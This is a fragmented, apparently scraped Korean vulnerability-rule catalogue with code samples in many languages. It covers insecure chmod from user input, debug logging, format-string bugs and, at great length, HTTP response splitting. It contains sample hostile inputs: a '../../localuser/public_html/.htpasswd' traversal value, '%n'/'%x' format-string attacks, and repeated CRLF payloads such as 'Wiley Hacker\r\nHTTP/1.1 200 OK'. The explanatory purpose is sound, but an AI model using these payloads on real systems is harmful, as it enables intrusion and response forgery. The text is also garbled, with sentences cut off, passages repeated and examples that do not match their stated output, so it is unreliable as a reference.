permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
../../localuser/public_html/.htpasswd
" 등과 같이 publicReport
에 대해 악성 값을 제공할 경우, 응용 프로그램은 지정된 파일을 공격자가 읽을 수 있게 합니다.
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
../../localuser/public_html/.htpasswd
" 등과 같이 publicReport
에 대해 악성 값을 제공할 경우, 응용 프로그램은 지정된 파일을 공격자가 읽을 수 있게 합니다.
...
mask = config_params['perms']
File.chmod(filename, mask)
...
services-config.xml
설명 파일이 “Logging” XML 요소를 지정하여 로깅의 다양한 부분을 설명합니다. 다음과 같습니다.
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
태그는 level
라는 옵션 속성을 갖습니다. 이는 로그 레벨을 나타냅니다. 디버그 수준이 너무 자세한 수준으로 설정되어 있으면 응용 프로그램에서 민감한 데이터를 로그 파일에 쓸 수 있습니다.sprintf()
, FormatMessageW()
또는 syslog()
와 같은 함수에 format string 인수로서 전달됩니다.snprintf()
를 사용하여 명령줄 인수를 버퍼에 복사합니다.
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
)를 제공하여 스택의 내용을 읽을 수 있습니다. (이 예제에서는 함수가 서식 지정할 인수를 받지 않습니다.) 공격자는 %n
서식 지정자를 사용하여 스택에 쓸 수 있으므로(의도한 동작인 인수에서 값을 읽는 대신) snprintf()
가 지정한 인수에 지금까지 출력한 바이트 수를 쓰도록 합니다. 이 공격의 정교한 버전은 네 가지 서식 지정자(staggered write)를 사용하여 스택의 포인터 값을 완전히 제어합니다.
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
에서 언급한 것과 같이 네 개의 서식 지정자를 사용하는 것보다 공격을 수행하는 것이 훨씬 간단해집니다.syslog()
함수는 다음과 같이 사용됩니다.
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
의 두 번째 매개 변수가 format string이기 때문에 cmdBuf
에 포함된 서식 지정자는 Example 1
에서 설명한 방식으로 해석됩니다.syslog()
사용 예를 보여줍니다.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
, FormatMessageW()
, syslog()
, NSLog
또는 NSString.stringWithFormat
과 같은 함수에 format string 인수로서 전달됩니다.NSString.stringWithFormat:
의 format string으로 명령줄 인수를 활용합니다.
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
)를 제공하여 스택의 내용을 읽을 수 있습니다. (이 예제에서는 함수가 서식 지정할 인수를 받지 않습니다.)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
에서 언급한 것과 같이 네 개의 서식 지정자를 사용하는 것보다 공격을 수행하는 것이 훨씬 간단해집니다.syslog()
함수는 다음과 같이 사용됩니다.
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
의 두 번째 매개 변수가 format string이기 때문에 cmdBuf
에 포함된 서식 지정자는 Example 1
에서 설명한 방식으로 해석됩니다.syslog()
사용 예를 보여줍니다.예제 4: Apple 코어 클래스는 format string 취약점을 익스플로이트하기 위한 흥미로운 방안을 제공합니다.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
함수는 다음과 같이 사용됩니다.
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
사용 예를 보여줍니다.
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
와 같은 범위 지정 함수도 잘못 사용되면 취약점을 일으킬 수 있습니다. 대부분의 buffer overflow의 원인은 메모리 조작과 데이터의 크기 또는 구성에 대한 가정 위반이 결합된 것입니다.
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
와 같은 범위 지정 함수도 잘못 사용되면 취약점을 일으킬 수 있습니다. 대부분의 buffer overflow의 원인은 메모리 조작과 데이터의 크기 또는 구성에 대한 가정 위반이 결합된 것입니다.%d
포맷 지정자를 사용하여 float에서 f
를 잘못 변환합니다.
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
태그를 보겠습니다.
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
이 아닌 다른 웹 사이트에 나타나는 경우, 이 사이트의 정확한 비 악성 코드 사용 여부는 www.example.com
에 따라 달라지게 됩니다. 공격자가 www.example.com
을 손상시킨 경우, fancyWidget.js
의 내용을 변경하여 사이트 보안을 침해할 수 있습니다. 예를 들어 fancyWidget.js
에 코드를 추가하여 사용자의 기밀 데이터를 훔칠 수 있습니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 Cookie Manipulation 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.
@HttpGet
global static void doGet() {
...
Map<String, String> params = ApexPages.currentPage().getParameters();
RestResponse res = RestContext.response;
res.addHeader(params.get('name'), params.get('value'));
...
}
author
및 Jane Smith
로 구성되어 있다고 가정할 때 이 헤더를 포함하는 HTTP 응답은 다음과 같은 형식일 수 있습니다.
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
및 bar
와 같은 악성 이름/값 쌍을 전송할 수 있습니다. 그러면 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
HttpResponse.AddHeader()
메서드로 보낼 때 %0d, %0a 및 %00으로 변환합니다. 새 줄 문자로 헤더를 설정하지 못하도록 방지하는 최신 .NET 프레임워크를 사용한다면, 응용 프로그램은 HTTP Response Splitting에 취약하지 않을 수도 있습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어 들여 HTTP 응답의 쿠키 헤더에 설정합니다.
protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
Author.Text
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(AUTHOR)
...
END-EXEC.
EXEC CICS
WEB WRITE
HTTPHEADER(COOKIE)
VALUE(AUTHOR)
...
END-EXEC.
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1/1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 Cookie Manipulation 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.
final server = await HttpServer.bind('localhost', 18081);
server.listen((request) async {
final headers = request.headers;
final contentType = headers.value('content-type');
final client = HttpClient();
final clientRequest = await client.getUrl(Uri.parse('https://example.com'));
clientRequest.headers.add('Content-Type', contentType as Object);
});
author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.name
및 value
가 공격자에 의해 제어될 수 있다고 가정합니다. 코드는 이름 및 값이 공격자에 의해 제어될 수 있는 HTTP 헤더를 설정합니다.
...
NSURLSessionConfiguration * config = [[NSURLSessionConfiguration alloc] init];
NSMutableDictionary *dict = @{};
[dict setObject:value forKey:name];
[config setHTTPAdditionalHeaders:dict];
...
author
및 Jane Smith
로 구성되었다고 가정하면 이 헤더가 포함된 HTTP 응답의 형식은 다음과 같을 수 있습니다.
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
및 bar
와 같은 악의적인 이름/값 쌍을 제출할 수 있고 그러면 HTTP 응답이 다음 형식의 두 응답으로 분할됩니다.
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
header()
함수에 전달될 때 경고를 생성하고 헤더 생성을 중단합니다. 사용 중인 PHP 버전이 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.
<?php
$location = $_GET['some_location'];
...
header("location: $location");
?>
HTTP/1.1 200 OK
...
location: index.html
...
some_location
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "index.html\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
author
를 읽어 들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
-- Assume QUERY_STRING looks like AUTHOR_PARAM=Name
author := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 14);
OWA_UTIL.mime_header('text/html', false);
OWA_COOKE.send('author', author);
OWA_UTIL.http_header_close;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
location = req.field('some_location')
...
response.addHeader("location",location)
HTTP/1.1 200 OK
...
location: index.html
...
some_location
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "index.html\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 사이트의 다른 부분에 대한 get 요청에 사용합니다.
author = req.params[AUTHOR_PARAM]
http = Net::HTTP.new(URI("http://www.mysite.com"))
http.post('/index.php', "author=#{author}")
POST /index.php HTTP/1.1
Host: www.mysite.com
author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nPOST /index.php HTTP/1.1\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
POST /index.php HTTP/1.1
Host: www.mysite.com
author=Wiley Hacker
POST /index.php HTTP/1.1
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.name
및 value
가 공격자에 의해 제어될 수 있다고 가정합니다. 코드는 이름 및 값이 공격자에 의해 제어될 수 있는 HTTP 헤더를 설정합니다.
...
var headers = []
headers[name] = value
let config = NSURLSessionConfiguration.backgroundSessionConfigurationWithIdentifier("com.acme")
config.HTTPAdditionalHeaders = headers
...
author
및 Jane Smith
로 구성되었다고 가정하면 이 헤더가 포함된 HTTP 응답의 형식은 다음과 같을 수 있습니다.
HTTP/1.1 200 OK
...
author:Jane Smith
...
HTTP/1.1 200 OK\r\n...foo
및 bar
와 같은 악의적인 이름/값 쌍을 제출할 수 있고 그러면 HTTP 응답이 다음 형식의 두 응답으로 분할됩니다.
HTTP/1.1 200 OK
...
HTTP/1.1 200 OK
...
foo:bar
author
를 읽어 들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
author = request->get_form_field( 'author' ).
response->set_cookie( name = 'author' value = author ).
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 Cookie Manipulation 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
Cookie cookie = new Cookie('author', author, '/', -1, false);
ApexPages.currentPage().setCookies(new Cookie[] {cookie});
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
author
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."와 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어 들여 HTTP 응답의 쿠키 헤더에 설정합니다.
protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 Cookie Manipulation 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."와 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
Example 1
을 Android 플랫폼에 맞게 조정합니다.교차 사용자 변조(cross-user defacement): 공격자는 피해 서버에 하나의 요청을 보낼 수 있게 되어 서버가 두 개의 응답을 만들게 하는데 두 번째 응답은 다른 요청에 대한 응답으로 잘못 해석될 수 있습니다. 이를테면, 서버와 같은 TCP 연결을 공유하는 다른 사용자의 요청에 대한 응답으로 해석됩니다. 이는 사용자를 속여 악성 요청을 사용자 스스로 전송하게 하거나 공유 프록시 서버처럼 공격자와 사용자가 서버에 대한 하나의 TCP 연결을 공유하는 경우 원격으로 전송하도록 합니다. 공격자가 이 능력을 이용하여 사용자가 응용 프로그램이 해킹당했다고 믿게 만들고 응용 프로그램 보안에 대한 자신감을 상실하게 만드는 정도면 다행이라고 할 수 있습니다. 최악의 경우, 공격자는 응용 프로그램 동작을 모방하여 계정 번호와 암호 등의 개인 정보를 공격자에게 리디렉션하는 특별히 제작된 콘텐트를 이용하기도 합니다.
...
CookieManager webCookieManager = CookieManager.getInstance();
String author = this.getIntent().getExtras().getString(AUTHOR_PARAM);
String setCookie = "author=" + author + "; max-age=" + cookieExpiration;
webCookieManager.setCookie(url, setCookie);
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 쿠키 조작 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.author
를 읽어들여 HTTP 응답의 쿠키 헤더에 설정합니다.
<?php
$author = $_GET['AUTHOR_PARAM'];
...
header("author: $author");
?>
HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...
AUTHOR_PARAM
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK
...
location = req.field('some_location')
...
response.addHeader("location",location)
HTTP/1.1 200 OK
...
location: index.html
...
some_location
에 전송된 값에 CR 및 LF 문자가 들어 있지 않을 때에만 이 형식을 유지합니다. 공격자가 "index.html\r\nHTTP/1.1 200 OK\r\n..."과 같은 악성 문자열을 전송하는 경우 HTTP 응답은 다음과 같이 두 개의 응답으로 나누어집니다.
HTTP/1.1 200 OK
...
location: index.html
HTTP/1.1 200 OK
...
IllegalArgumentException
을 발생시킵니다. 응용 프로그램 서버가 새 줄 문자로 헤더를 설정하는 것을 방해한다면, 해당 응용 프로그램은 HTTP Response Splitting에 취약하지 않습니다. 그러나, 단지 새 줄 문자에 대한 필터링은 Cookie Manipulation 또는 Open Redirection에 대해 응용 프로그램을 취약하게 남겨둘 수 있기 때문에 사용자 입력으로 HTTP 헤더를 설정할 때는 여전히 주의해야 합니다.IllegalArgumentException
